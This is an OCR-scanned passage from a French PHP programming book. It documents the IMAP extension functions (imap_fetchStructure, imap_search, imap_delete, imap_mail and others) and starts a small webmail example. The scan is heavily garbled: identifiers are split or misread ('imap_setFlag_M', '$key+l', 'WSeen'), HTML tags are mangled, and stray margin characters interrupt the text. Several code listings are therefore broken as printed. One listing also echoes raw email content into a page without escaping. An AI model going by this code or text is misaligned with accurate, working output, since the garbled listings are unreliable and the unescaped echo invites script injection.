newsgroups. 

■ foliowup_to : adresse de suivi du message, 
references. 

fetchfrom : ligne d'en-tete de 'to:' formatee pour tenir dans $taiileFrom. 

fetchsubject : ligne d'en-tete de 'subject:' formatee pour tenir dans 

$tailleSubject. 

Recent : 'r' si le message est recent et lu, 'n' s'il est recent mais non lu, ' ' sinon. 

Unseen : 'u' si le message est non lu et non recent. ' ' si le message a ete marque lu ou s'il 
est non lu et recent. 

Answered : 'a' si le message a ete repondu, ' ' sinon. 
Deleted : 'd' si le message est efface, ' ' sinon. 
Draft : 'x' si le message est un brouillon, ' ' sinon. 

■ Flagged : V si le message est marque, ' ' sinon. 
toaddress : ligne d'en-tete de 'to:' limitee a 1024 caracteres. 
to [ ] : tableau de toutes les adresses de 'to : ' sous forme d'objet. 

■ to [ ] ->personal : nom de la personne. 
to [ ] ->adl : at domain source route (???). 
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to [ ] ->mailbox : partie precedant '@'. 
to[]->host : partie suivant 

fromaddress : ligne d'en-tete de 'from:' limitee a 1024 caracteres. 
from [ ] : tableau de toutes les adresses de 'from : ' sous forme d'objet. 
from[ ] ->personai : nom de la personne. 
from[ ] ->adl : at domain source route (???). 
from[]->mailbox : partie precedant '@'. 

■ from[] ->host : partie suivant '@'. 
ccaddress : ligne d'en-tete de 'ccV limitee a 1024 caracteres. 
cc [ ] : tableau de toutes les adresses de 'cc : ' sous forme d'objet. 

■ cc [ ] ->personal : nom de la personne. 

cc [ ] ->adl: at domain source route (???). 

cc [ ] ->mailbox : partie precedant '@'. 

cc[]->host : partie suivant '©'. 

QJ -— CO H bccaddress : ligne d'en-tete de 'bccV limitee a 1024 caracteres. 

E "S E 

bcc [ ] : tableau de toutes les adresses de 'bcc : ' sous forme d'objet. 
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bcc [ ] ->personai : nom de la personne. 
bcc [ ] ->adl : at domain source route (???). 
bcc [] ->maiibox : partie precedant '@'. 
bcc [ ] ->host : partie suivant 

reply_toaddress : ligne d'en-tete de 'Reply_to : ' limitee a 1024 caracteres. 
repiy_to [ ] : tableau de toutes les adresses de 'Reply_to : ' sous forme d'objet. 
repiy_to [ ] ->personai : nom de la personne. 
reply_to [ ] ->adl : at domain source route (???). 
reply_to [ ] ->maiibox : partie precedant '@'. 
repiy_to [ ] ->host: partie suivant '@'. 

senderaddress : ligne d'en-tete de 'sender:' limitee a 1024 caracteres. 
sender [ ] : tableau de toutes les adresses de 'sender : ' sous forme d'objet. 
sender [ ] ->personai : nom de la personne. 
sender [ ] ->adl : at domain source route (???). 
sender [] ->mailbox : partie precedant '@'. 
sender [] ->host : partie suivant '@'. 

return_path [ ] : tableau de toutes les adresses de 'Return-path:' sous forme d'objet. 
return_path [ ] ->personai : nom de la personne. 
return_path [ ] ->adi : at domain source route (???). 
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■ return_path [ ] ->mailbox : partie precedant '@'. 
return_path [ ] ->host : partie suivant '@'. 

Lecture des messages 

Certes, acceder a la liste des messages est une chose importante, mais acceder a leur contenu 
Test encore plus ! Vous disposez la aussi de nombreuses fonctions ; la premiere d'entre elles est 

imap_body ( ) . 



imap_body() 

Retourne le corps d'un message. 

Syntaxe string imap_body (resource $identifiantBal , int $numeroMsg [, 

i nt $mode] ) ; 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 



§ i- 
— ■ as 

$numeroMsg Numero du message a ouvrir(le premier porte l'indice 1). 3 ~ 

~ (D CI 

$mode Combinaison par OU logique des options : v> 2. g 

E, ID 

FT_UID si le numero du message est son UID. « 5 

CD 

FT_PEEK afin de ne pas indiquer le message comme etant lu (s'il n'est pas 
deja marque). 

FTJNTERNAL afin que la chaine retournee soit dans le format 'interne', 
retour Le corps du message. 

II faut toutefois garder a l'esprit qu'un message peut etre compose de plusieurs parties 
(generalement le corps du document que Ton peut recuperer avec imap_body ( ) , mais aussi des 
fichiers joints). 

Aussi, avant d'aller plus loin, vous devez connaitre la structure du message. Comme par 
miracle, il y a justement une fonction qui permet cela. 



imap_fetchStructure () 

Lit la structure d'un message. L'objet retourne contient l'enveloppe, la date, la taille, les 
drapeaux et la structure du corps, ainsi que ces informations pour les composantes MIME du 
message. 

Syntaxe object imap_fetchStructure(resource $identifiantBal , int 

$numeroMsg [, int $mode]) 

$i denti fi antBal Identifiant retourne par imap_open ( ) . 

$numeroMsg Indice du message a ouvrir (le premier porte l'indice 1). 
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$mode FT_UID (si le numero du message est son UID). 

retour Un objet contenant les attributs decrits ci-apres : 

type : le type de contenu qui peut prendre l'une des valeurs suivantes : 

— typetext s'il s'agit d'un texte non formate ; 

— t ypemult i part s'il s'agit d'un message avec plusieurs parties . 

— TYPEMESSAGE ; 

— TYPEAPPL I CATION ; 

— typeaudio s'il s'agit d'un fichier audio ; 

— typeimage s'il s'agit d'un fichier image ; 

— typevideo s'il s'agit d'un fichier video ; 

— typeother s'il s'agit d'un type inconnu. 

encoding : le type d'encodage qui peut prendre l'une des valeurs encbase64, 
encquotedprintable, encother ; 

if subtype : true si un sous-type MIME est defini (attribut subtype) ; 
subtype : sous-type MIME ; 

ifdescription : true si une description est definie (attribut description) ; 

■ description : description du contenu ; 

if id : true si une chaine d'identification est definie (attribut id) ; 
id : chaine d'identification ; 

■ lines : nombre de lignes ; 

■ bytes : nombre d'octets ; 

■ ifdisposition : true si l'attribut disposition est defini ; 
disposition : chaine de disposition (ex. : inline, attachment) ; 

■ ifdparameters : TRUE si l'attribut dparameters est defini ; 

dparameters : un tableau d'objets ou chacun des objets possede les attributs attribute et 
value correspondant aux parametres de content-diposition de l'en-tete MIME ; 

if parameters : TRUE si l'attribut parameters est defini ; 

parameters : un tableau d'objets ou chacun des objets possede les attributs attribute et 

value ; 

parts : un tableau d'objets identique au niveau de la structure a l'objet superieur decrivant 
chacune des parties du message. 

Voici un script montrant quelques resultats : 

Listing 12.17 : imapjetchstructure.php 

<?php 

$bal = imap_open("{mail .monsite.com: 143/imap} INBOX" , 
"monlogin", "monpassword") ; 
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$objet = imap_fetchstructure($bal , 1); 

echo "\$objet->type: " .$objet->type. "<br />\n"; 

echo "\$objet->encoding:".$objet->encoding."<br />\n"; 

echo "\$objet->i fsubtype: " .$objet->ifsubtype. "<br />\n"; 

echo "\$objet->subtype: " .$objet->subtype. "<br />\n"; 

echo "\$objet->i fdescri ption : " . 

$objet->i fdescri ption. "<br />\n" ; 
echo "\$objet->ifid:".$objet->ifid."<br />\n"; 
echo "\$objet->lines:".$objet->lines."<br />\n"; 
echo "\$objet->bytes:".$objet->bytes."<br />\n"; 
echo "\$objet->i fdi sposi tion : " .$objet->i fdi sposi tion. 

"<br />\n"; 

echo "\$objet->i fdparameters : " .$objet->i fdparameters. 
"<br />\n"; 

echo "\$objet->i f parameters : " .$objet->i f parameters . "<br />\n" ; 
echo "\$objet->parameters [0] ->attribute: " . 

$objet->parameters [0] ->attri bute. "<br />\n" ; 
echo "\$objet->parameters [0] ->val ue: " . " : " . 

$objet->parameters [0] ->val ue. "<br />\n" ; 
echo "\$objet->parameters [1] ->attribute: " . 

$objet->parameters [1] ->attri bute. "<br />\n" ; 
echo "\$objet->parameters [1] ->val ue: " . 

$objet->parameters [1] ->val ue. "<br />\n" ; 
imap_close($bal ) ; 



dont un resultat pourrait etre : 

$objet->type:0 
$objet->encodi ng : 1 
$objet->i fsubtype : 1 
$objet->subtype: PLAIN 
$objet->ifdescription:0 
$objet->ifid:0 
$objet->l ines:3 
$objet->bytes:23 
$objet->i fdi sposi ti on :0 
$objet->i fdparameters : 
$objet->i fparameters : 1 
$objet->parameters [0] ->attri bute : charset 
$objet->parameters [0] ->val ue: : us-asci i 
$ob jet->parameters [1] ->attr i bute : format 
$objet->parameters [1] ->val ue: f 1 owed 

S'il s'etait agi d'un message contenant plusieurs parties, alors nous aurions eu type=i (car 

TYPEMULTI PART= 1 ) . 

Si vous ne souhaitez extraire que la structure d'une partie du message, vous disposez de la 
fonction imap_bodyStruct ( ) . 
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imap_bodyStruct() 

Recupere la structure d'une partie du message. 

Syntaxe object imap_bodyStruct (resource $identifiantBal , int 

$numeroMsg, int $section) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$numeroMsg Numero du message a ouvrir (le premier porte l'indice 1). 

$secti on Section du courrier a ouvrir (le corps du message porte l'indice 1). 

retour La structure de la partie du message demandee. 

Pour acceder a une partie quelconque d'un message, vous devez faire appel a 

imap_f etchBody ( ) . 



imap_fetchBody() 

Retourne le contenu d'une des parties du message. 

Syntaxe string imap_fetchbody (resource $identifiantBal , int 

$numeroMsg, int $numeroParti e [, int $mode]) 

$i denti f i antBal Identifiant retourne par imap_open ( ) . 

$numeroMsg Indice du message a ouvrir (le premier porte l'indice 1). 

$numeroParti e Indice de la partie a retourner (le corps du message porte l'indice 1). 

$mode Combinaison par OU logique des options : 

FTJJID si le numero du message est son UID. 

FT_PEEK afin de ne pas indiquer le message comme etant lu (s'il n'est pas 
deja marque). 

FTJNTERNAL afin de retourner le resultat dans le format "interne", 
retour La partie du message desiree. 

L'exemple suivant est en deux fichiers : le premier liste les messages dans la boites a lettres et 
propose des liens vers le second de la forme imap_4 .php?no=<valeur>, afin d'afficher le 
contenu du message (le corps uniquement, les parties attachees etant ici ignorees). 

Listing 12.18 : imap3.php 

<html> 

<headxti tl e>Exempl e IMAP</ti tl ex/head> 

<body> 

<?php 

$mbox = imap_open("{mail .monsite:110/pop3}", "monlogin", "monpassword") ; 
echo "<pxhl>Entetes de mail dans INB0X</hl>\n" ; 
$headers = imap_headers ($mbox) ; 
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if (!$headers) { 

echo "Erreur !\n"; 
} else { 

while (list ($key,$val) = each ($headers)) { 

echo "<a href=\"imap4.php?no=" . ($key+l) . "\">" . 
$val ."</axbr>\n"; 

} 

} 

imap_cl ose($mbox) ; 

?> 

</body> 
</html> 

Le script suivant ouvre done une connexion a un serveur POP3, puis extrait l'en-tete du mail a 
ouvrir afin de recuperer des informations sur l'expediteur et, enfin, ecrit le contenu du message. 

Listing 12.19 : imap4.php 

<html> 

<headxti tl e>Exempl e IMA P</ti tl ex/head> 

<body> 

<?php 

$mbox = imap_open (" {mai 1 .monsite.com:110/pop3}", "monlogin", "monpas sword") ; 

$header = imap_headerInfo($mbox, $no); 

$from = $header->f rom; 

echo "Message de: " .$from[0] ->personal . 

" [".$from[0]->mailbox."@".$from[0]->host."]<br />"; 
$text = imap_fetchBody ($mbox, $no, 1); 
echo $text; 
imap_cl ose($mbox) ; 
?> 

</body> 
</html> 

dont le resultat attendu pourrait etre le suivant : 
<html> 

<headxti tl e>Exempl e IMAP</ti tl ex/head> 
<body> 

Message de: ToutEstFacile[webmaster@toutestfacile.com]<br />Ceci est un test. 

Cordial ement, 
Thomas. 

</body> 
</html> 
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Recherche et tri des messages 



imap_search() 



Cette fonction effectue une recherche sur les messages de la boite a lettres. 



retour 



Syntaxe 



$identifiantBal 
$cri teres 
$opti on 



array imap_search (resource $identifiantBal , string $criteres, 
int $option) 

Identifiant tel que retourne par imap_open ( ) . 
Criteres de recherche detailles ci-apres. 

SE_UID pour retourner les identifiants plutot que le numero de sequence. 

Tableau indexe des numeros de sequences ou des identifiants des 
messages correspondant aux criteres de selection. 



Les criteres peuvent etre combines en les separant par des espaces (ce qui aura pour effet de 
rechercher les messages repondant au criterel ET au critere2, etc.). Chaque critere est 
compose d'un des mots-cles suivants, eventuellement suivi d'une valeur (qui devra etre entre 
guillemets) : 

all : fait une recherche dans tous les champs de tous les messages. 
Criteres lies aux drapeaux : 

answered : pour ne chercher que parmi les messages marques "repondus". 
unanswered : pour ne chercher que parmi les messages marques "non repondus". 
deleted : pour ne chercher que parmi les messages marques "effaces". 
undeleted : pour ne chercher que parmi les messages non marques "effaces". 
flagged : pour ne chercher que parmi les messages marques (importants). 
unflagged : pour ne chercher que parmi les messages non marques. 
new : pour ne chercher que parmi les nouveaux messages. 

■ old : pour ne chercher que parmi les anciens messages. 

recent : pour ne chercher que parmi les messages marques "recents". 
seen : pour ne chercher que parmi les messages marques "his". 
unseen : pour ne chercher que parmi les messages marques "non lus". 

Criteres lies aux adresses e-mail : 

bcc "adresse" : recherche dans le champ BCC. 

■ cc "adresse" : recherche dans le champ BCC. 

■ from "adresse" : recherche dans le champ FROM. 
to "adresse" : recherche dans le champ TO. 
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Criteres lies au texte du message : 

subject "texte" : recherche dans le champ SUBJECT. 
body "texte" : pour rechercher dans le corps des messages. 
text "texte" : pour rechercher les messages contenant ce texte. 
keyword "texte" : pour rechercher les messages ayant ce mot-cle. 
unkeyword "texte" : pour rechercher les messages n'ayant pas ce mot-cle. 

Criteres lies a la date : 

before "date" : pour rechercher parmi les messages anterieurs a une certaine date. 
since "date" : pour rechercher parmi les messages posterieurs a une certaine date. 
on "date" : pour rechercher parmi les messages emis a une certaine date. 
new : pour ne chercher que parmi les nouveaux messages. 

Ce qui pourra donner par exemple : 

imap_search($bal , "FROM \"toutestfacile.com\" SUBJECT \"Test\""); 

Pour retourner la liste des messages envoyes depuis une adresse contenant "toutestfacile.com" 
et ayant dans le mot "Test" dans le sujet. 



nap_sort() 

Permet de retourner une liste triee de messages. 

Syntaxe array imap_sort (resource $i denti f i antBal , int $cri teres, 

boolean $inverse, [ int $mode [, string $filtre]]) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$cri teres Au choix, l'un des criteres suivants : 

SORTDATE : tri selon la date du message. 

SORTARRIVAL : tri selon la date de reception du message. 

SORTFROM : tri selon l'expediteur. 

SORTSUBJECT : tri selon le sujet. 

SORTTO : tri selon le premier destinataire. 

SORTCC : tri selon le champ CC. 

SORTSIZE : tri selon la taille du message. 

$i nverse TRUE pour obtenir l'ordre inverse. 

$mode Combinaison par OU logique des options : 

SE_UID pour retourner les UID plutot que les indices. 
SE_NOPREFETCH pour ne pas pre-telecharger les messages. 

$filtre Permet de ne recuperer que certains messages; ce filtre fonctionne 

comme les criteres de imap_search ( ) . 



retour 



Tableau indexe des identifiants de messages tries selon l'ordre choisi. 
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Modification des drapeaux et suppression des messages 

A chaque message sont associes des drapeaux indiquant s'il a ete lu, si une reponse a ete 
envoyee, s'il est sur le point d'etre efface, etc. 

La bibliotheque imap vous permet de modifier ces informations. 



imap_setFlag_M () 

Permet de marquer un ou plusieurs messages avec un drapeau specifique. 

Syntaxe boolean imap_setFl ag_ful 1 (resource $i denti f i antBal , string 

$1 i steMsg , string $drapeau [, string $mode]) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 

$listeMsg Liste des numeros (ou UID) ou intervalles de numeros (ou UID) de 

messages separes par une virgule (le premier porte l'indice 1). Les 
intervalles sont definis par le numero de debut, le caractere : et le numero 
de fin. 

$drapeau Drapeau a retirer "\Seen", "\Answered", "\Flagged", "\Deleted", 

"\ Draft", "\ Recent". (N'oubliez pas de doubler les anti-slashes si vous 
definissez la chaine entre guillemets). 

$mode FT_UID si le numero du message est son UID. 

retour TRUE en cas de succes. 

Exemple : 

imap setFlag full ($bal , "1,3,5:8", "WSeen"); 



imap_clearFlag_M () 

Retire un drapeau d'un ou plusieurs messages. 

Syntaxe boolean imap_cl earFl ag_full (resource $identifiantBal , string 

$listeMsg, string $drapeau [, string $mode]) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 

$listeMsg Liste des numeros (ou UID) ou intervalles de numeros (ou UID) de 

messages separes par une virgule (le premier porte l'indice 1). Les 
intervalles sont definis par le numero de debut, le caractere : et le numero 
de fin. 

$drapeau Drapeau a retirer "\Seen", "\Answered", "\Flagged", "\Deleted", 

"\ Draft", "\ Recent". (N'oubliez pas de doubler les anti-slashes si vous 
definissez la chaine entre guillemets). 
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$mode FT_UID si le numero du message est son UID. 

retour TRUE en cas de succes. 

Exemple : 

imap_cl earFl ag_ful 1 ($bal , "1,3,5:8", "WSeen"); 

Pour les messages a marquer comme etant a effacer, vous pouvez appeler directement les 
fonctions suivantes : 



imap_delete() 

Cette fonction permet de marquer un message comme etant a effacer. 

Syntaxe boolean imap_del ete(resource $i denti f i antBal , int $numeroMsg _l 

[, int $drapeaux] ) 3_ f 

o *~ 

$identifiantBal Identifiant tel que retourne par imap_open () . 3 3 

$numeroMsg Numero du message a effacer (le premier porte l'indice 1). SJ. cd cS 

a 2. g 

$drapeaux FT_UID (si le numero du message est son UID). = io 

CD CD 

retour TRUE en cas de succes. 9-5" 

CD 

Voici un script qui permet d'effacer le message d'indice 1 : 

Listing 12.20 : imap delete.php 

<?php 

$bal = imap_open("{mail .monsite.com:143/imap}INB0X", 

"monlogin", "monpassword" , CL_EXPUNGE) ; 
echo imap_del ete($bal , 1); 
imap_close($bal) ; 

?> 



imap_undelete() 



Retire le drapeau indiquant que le message est a effacer. 

Syntaxe boolean imap_undel ete(resource $identifiantBal , int 

$numeroMsg) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 
$numeroMsg Numero du message dans la boite a lettres. 

retour TRUE en cas de succes. 



1003 



Chapitre 12 La messagerie : envoi et lecture de mails 



La suppression du message ne sera effective qu'a la fermeture de la boite a lettres si celle-ci a 
ete ouverte ou fermee avec l'option CL_EXPUNGE. II est toutefois possible, a tout moment, de 
veritablement supprimer les messages marques comme etant a supprimer avec l'option 
imap_expunge ( ) . 
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imap_expunge() 

Efface tous les messages marques comme etant a effacer. 

Syntaxe boolean imap_expunge(resource $i denti f i antBal ) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 
retour TRUE en cas de succes. 

Ajout et emplacement de messages 



imap_append() 

— : 
csi — 

i- 03 Permet d'ajouter un message dans une boite a lettres. 

Syntaxe boolean imap_append(resource $i denti fi antBal , string $bal 

string $message [, string $drapeaux]) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 

$bal Boite a lettres ou ecrire. 

$message Message a ecrire. 

$drapeaux Drapeaux ecrits dans la boite a lettres. 

retour TRUE si l'operation a pu s'effectuer, FALSE dans le cas contraire. 

Le script suivant ecrit un message dans les brouillons : 

Listing 12.21 : imap append.php 

<?php 

$bal = imap_open("{mail .monsite.com: 143/imap} INBOX" , 
"monlogin", "monpassword") ; 



imap_append($bal , 



{mai 1 .monsi te.com: 143/imap} INBOX. Drafts" , 
TO: imap@toutestfaci 1 e.com\r\n" . 
Subject:Cool\r\n" . 
\r\n". 

Je t'ecris depuis un script PHP en IMAP ! Bisous,". 
Moi"); 



imap_cl ose($bal 

?> 
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imap_mail_copy() 

Copie certains messages dans une boite a lettres specifiee. 

Syntaxe boolean imapjnai l_copy (resource $identifiantBal , string 

$listeMsg, string $bal[, int $mode]) 

$identifiantBal Identifiant retourne par imap_open ( ) . 

$listeMsg Liste des numeros (ou UID) ou intervalles de numeros (ou UID) de 

messages separes par une virgule (le premier porte l'indice 1). Les 
intervalles sont definis par le numero de debut, le caractere : et le numero 
de fin. 

$bal Boites a lettres de destination. 

$mode Combinaison par OU logique des options : 

CP_UID si la liste des messages contient des UID. 

CP_MOVE pour demander la suppression des messages de la boite 

d'origine. 

retour TRUE si l'operation s'est effectuee sans erreur. 



imap_mail_move () 



Deplace certains messages dans une boite a lettres specifiee. (Marque le message de la boite 
d'origine comme etant a ef facer). 

Syntaxe boolean imapjnai l_move(resource $identifiantBal , string 

$listeMsg, string $bal [, int $mode]) 

$identifiantBal Identifiant retourne par imap_open ( ) . 

$listeMsg Liste des numeros (ou UID) ou intervalles de numeros (ou UID) de 

messages separes par une virgule (le premier porte l'indice 1). Les 
intervalles sont definis par le numero de debut, le caractere : et le numero 
de fin. 

$bal Boites a lettres de destination. 

$mode CP_UID si la liste des messages contient des UID. 

retour TRUE si l'operation s'est effectuee sans erreur. 

Inscription/desinscription a un serveur de nouvelles 



imap_subscribe() 

Permet de s'inscrire a une boite a lettres (pour les serveurs de "news"). 
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Syntaxe boolean imap_subscribe(resource $identifiantBal , string $bal) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$bal Boite a lettres ous'inscrire. 

retour TRUE si l'inscription s'est faite. 
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imap_unsubscribe () 

Permet de se desabonner d'une liste. 

Syntaxe boolean imap_unsubscri be(resource $i denti fi antBal , string 

$bal) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 
$bal Boite a laquelle 1'utilisateur doit etre desinscrit. 

retour TRUE si l'operation s'est correctement deroulee. 

I denti Hants 

imap_msgno() 

Cette fonction retourne le numero de sequence de l'UID fourni. 

Syntaxe int imap_msgno(resource $identifiantBal , int $uid) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 



retour 



L'indice du message. 



imap_uid() 

Retourne l'UID d'un message d'apres son indice dans la boite a lettres. 
Syntaxe int imap_ui d (resource $identifiantBal , int $numeroMsg) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 
$numeroMsg Indice du message dans la boite aux lettres. 

retour L'UID du message. 

Composition et decomposition d'adresses e-mail 

II est facile de construire une adresse e-mail contenant notamment le nom en toutes lettres du 
destinataire ou de l'expediteur tout en s'assurant de sa conformite avec la norme RFC822. 
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imap_rfc82 2_write_address () 

Retourne une adresse e-mail respectant la norme RFC822. 

Syntaxe : string imap_rfc822_wri te_address (stri ng $login, string 

$domain, string $nom) 

$ 1 o g i n Partie precedant le @ . 

$domain Partie suivant le @. 

$nom Nom ou texte associe a l'adresse. 

retour Une adresse normee. 

Le script suivant : 

Listing 12.22 : imap_rfc822_write_address.php 

<?php 2> ro 

echo imap_rfc822_write_address("Emma", "tuvu.com", "Eh ! M'as tu vu ?"); § i - 

?> 3 S 3 

fij CD 

~ CD CO 

retournerait : "> 2- S 

CD ™ 

Eh ! M'as tu vu ? <Emma@tuvu.com> a. ~ 

CD 

A l'inverse, il est possible de decomposer une liste d'adresses. 



imap_rfc82 2_parse_adrlist () 



Cette fonction permet de recuperer les differentes parties d'une adresse e-mail respectant la 
norme RFC2822. 

Syntaxe array imap_rfc822_parse_adrl ist(string $adresse, string 

$hoteDefaut) 

$adresse Chaine de caracteres de l'adresse. 

$hoteDef aut Nom de l'hote par defaut. 

retour Un tableau d'objets ayant les attributs : 

personal : nom de la personne. 
Mailbox : partie precedant @. 
Host : partie suivant @. 
Adl : at domain source route. 



Listing 12.23 : imap_rfc822_parse_adrlist.php 

<?php 

$adresses= "Emma TUVU <emma@tuvu.com>, bible@php.com, Starsky"; 
$tableau = imap_rfc822_parse_adrlist($adresses, "defaut. com") ; 
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whi 1 e(l i st ($cle,$val eur)=each ($tabl eau) ) { 

echo "personal: ".$valeur->personal ."<br />\n"; 
echo "mailbox : ".$valeur->mailbox."<br />\n"; 
echo "host : ".$valeur->host."<br />\n"; 
echo "adl : " .$val eur->adl . "<br />\n"; 



Le resultat est : 

personal : Emma TUVU 
mailbox : emma 
host : tuvu.com 
adl : 
personal : 
mailbox : bible 
host : php.com 
adl : 

.2 -S personal : 

£ £ mailbox : Starsky 

3 M host : defaut.com 

g « co adl : 

E "S E 





Generation et envoi de mails 



La bibliotheque imap permet egalement de generer et d'envoyer des e-mails. 



imap_mail() 

Cette fonction permet d'envoyer un courrier electronique. 

Syntaxe boolean imap_mai 1 (stri ng $desti natai re, string $sujet, string 

$message [, string $entete [, string $cc [, string $bcc [, 
string $rpath]]]]) 

$desti natai re Adresse(s) du ou des destinataires. 

$sujet Sujet du message. 

$message Contenu du courrier electronique. 

$entete Pour ajouterun en-tete particulier. 

$cc Adresses des personnes en copie. 

$bcc Adresses des personnes en copie cachee. 

$rpath Adresse de retour des messages d'erreur. 

retour TRUE si l'operation s'est effectuee. 

Un script tres simple presentant cette fonction : 
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Listing 12.24 : imap mail. php 

<?php 

imapjnail ("destinataire@sonsite.com", "Test de mail", "Corps du message" 
?> 



imap_mail_compose () 



no 



Permet de creer un message MIME en construisant l'enveloppe et le corps. 
Syntaxe string imapjnai l_compose(array $enveloppe, array $corps) 

$enveloppe Tableau associatif avec les cles: from, to, cc, bcc, remail, 

return-path, date, reply-to, in_reply_to, subject, 
message_id, custom_headers. 

$corps Tableau de tableaux, chacun des sous-tableaux pouvant avoir les cles 

type, encoding, subtype, description, contents . data, id, 
charset, description . type, lines, bytes, md5. — M 

= 2. 3 

retour Message au format MIME. g _ cd 

b — . CD GO 

» o » 

m =■ D) 
CD CD 

Coder / decoder g- ™ 

imap_8bit() 

Convertit une chaine 8 bits en chaine imprimable selon la RFC2045, et coupe done les lignes de 
plus de 75 caracteres. 

Syntaxe string imap_8bi t (stri ng $chaine) 

$ c h a i n e Chaine de caracteres a transformer. 

retour Une chaine conforme a la specification RFC2045. 

sy± RFC2045 en anglais 

Pour s'amuser et lire la langue concurrente de celle de Moliere, pour pourrez trouver 
INTERNET la RFC2045 a Vadresse : http://www.faqs.org/rfcs/rfc2045.html. 



imap_qprint() 

Convertit un caractere imprimable en chaine 8 bits. 
Syntaxe string imap_qprint(string $chaine) 

$ c h a i n e Chaine de caracteres a convertir. 

retour Chaine de caracteres convertie. 
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imap_base64() 

Decode un texte code en base64. 

Syntaxe string imap_base64(stri ng $chaine) 

$ c h a i n e Chaine de caracteres a decoder, 

retour Chaine decodee. 



imap_binary() 

Convertit une chaine 8 bits en chaine base64. 

.. Syntaxe string imap bi nary (stri ng $chaine) 

22 -d 

"^oj $chaine Chaine de caracteres a convertir. 

5) "= 

g *j co retour Chaine convertie. 

CO cu ■= 
CO — CO 
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imap_utf7_decode () 

Decode une chaine UTF-7 en chaine 8 bits. 

Syntaxe string imap_utf7_decode(stri ng $chaine) 

$ c h a i n e Chaine de caracteres a decoder, 

retour Chaine decodee. 



imap_utf7_encode () 

Convertit une chaine 8 bits en chaine UTF-7. Cela sert pour encoder les noms de boites a 
lettres contenant des caracteres speciaux en dehors de la plage ASCII des caracteres 
imprimables. 

Syntaxe string imap_utf7_encode(stri ng $chaine) 

$chaine Chaine a modifier, 

retour Chaine modifiee. 
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imap_utf8() 

Convertit une chaine de caracteres en UTF-8. 

Syntaxe string imap_utf8(stri rig $chaine) 

$ c h a i n e Chaine a modifier, 

retour Chaine modifiee. 



imap_mime_header_decode () 

Decode les parties de 1'en-tete MIME. 



Syntaxe array imap mime header decode(string $entete) _t 

$entete En-tetecode. < J— 

=■ as 

retour Un tableau avec deux cles, char set et text, qui est l'en-tete decode. 3 ™ 3 

fij — — CD 
— . CD GO 

Gerer les erreurs ™ I. 



imap_alert() 

Cette fonction permet de connaitre Fensemble des alertes IMAP apparues depuis le dernier 
acces ou depuis le dernier effacement de la pile d'alertes. Une fois l'appel a cette fonction 
effectue, la pile est videe. 

Syntaxe array imap_alerts(void) 

retour Tableau de tous les messages d'alerte. 



imap_errors() 

Cette fonction permet de connaitre l'ensemble des erreurs IMAP apparues depuis le dernier 
acces ou depuis le dernier effacement de la pile d'erreurs. Une fois l'appel a cette fonction 
effectue, la pile est videe. 

Syntaxe array imap_errors(void) 

retour Tableau de tous les messages d'erreur. 
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imap_last_error() 



Retourne la derniere erreur survenue (s'il y en a eu une) lors du dernier appel. 

Syntaxe string imap_l ast_error(void) 

retour Message d'erreur. 



Resultat surprenant 

Les quelques tests effectues n'ont pas v entablement permis d'obtenir un message 
REHARQJE 
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12.3. Application d'exemple : le webmail 

Progressivement, voici la construction d'une interface webmail minimaliste. 

La premiere des pages permettra d'entrer le nom du serveur IMAP ou POP, le login de 
1'utilisateur et le mot de passe associe. 



lebmeLe - Microsoft Internet ExpLoi 



Fichier Edition AFFichace Favoiis On tils ? 

Precedence ' (j-J - Q £j) I Rechercher ^"Favons ^jp Media 

OK Liens ** 



f-iLfcp : y.flcic^li-iosS:yBioleF>HPSi:fipt!r.yi:|-iapi 1 /c. I i -webmail. rilj-n! 



Adresse 

Type de serveur: 

Utilisateur: 
Mot de passe: 



Ouebmele 

rturMAI 





□ m:143 


S IMAP 




OPOP 




Emma 







Figure 12.4 : Interface de connexion 
Done, le code source est le suivant : 

Listing 12.25 : webmail.html 

<html> 

<headxti tl e>Mon ouebmel e</ti tl ex/head> 
<body> 
<center> 

<pxfont col or="bl ue"xhl>Ouabmel e</hlx/fontx/p> 
<form action="webmai 1 l.php"> 
<tabl e> 
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<tr> 

<td>Adresse serveur IMAP:</td> 

<tdxinput type="text" name=" serveur" /></td> 
</tr> 
<tr> 

<td rowspan="2">Type de serveur :</td> 

<tdxinput type="radio" name="typeserveur" value="imap" />IMAP</td> 
</tr> 
<tr> 

<tdxinput type="radio" name="typeserveur" value="pop" />P0P</td> 
</tr> 
<tr> 

<td>Uti 1 i sateur :</td> 

<tdxinput type="text" name="login" /></td> 
</tr> 
<tr> 

<td>Mot de passe:</td> 

<tdxinput type="password" name="password" /x/td> 
</tr> 
<tr> 

<td colspan="2" al ign="center"> 

<input type="submit" val ue="Connexion" /> 
</td> 
</tr> 
</table> 
</form> 
</center> 
</body> 
</html> 



3 * 



- 3 

ft) — — CD 

— . CD GO 

m O « 

P" CD 

~ <= 

CD CD 

CD 



Une fois connecte, 1'utilisateur est en mesure d'avoir un apercu des messages presents dans la 
boite a lettres : 



3 Mon ouebmele - Microsoft Internet Explore 



Fiehier Edition ATftchage Fa v oris Outils 
^ Precedente - Q - \tt] ^ 



Favori5 ^Af* Media 



Adresse ^ http://lc.call-.ost/eiblePHP5cnpt5/chapll/cll-webmaill.php 



Bienvenue sur ouebmele O.OOlBeta 

Date: Tue, 2 Jul 2002 16:31:32 -0400 CEst(heure d'ete)) 





3 messages (lout 1 lion his 








1100293Ko occupes 








Date 


Message lie 


Stget 


Ln 


Repondn 


18/06/2002 
17:49:46 


Uiomas HEUIE «theulef 




Om 


Non 


26/06/2002 
20.24.13 


Uiomas HEUIE 
<th h 1 £ 


. ■ 


Om 


Non 


01/07/2002 


Uiomas HEUIE 


Rapport de 




Non 


17 54 33 







Figure 12.5 : Liste des messages 
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.92 -5 



mo™ 



Listing 12.26 : webmaiH .php 

<html> 

<headxti tl e>Mon ouebmel e</ti tl ex/head> 
<body> 
<center> 
<pxfont col or="bl ue"> 

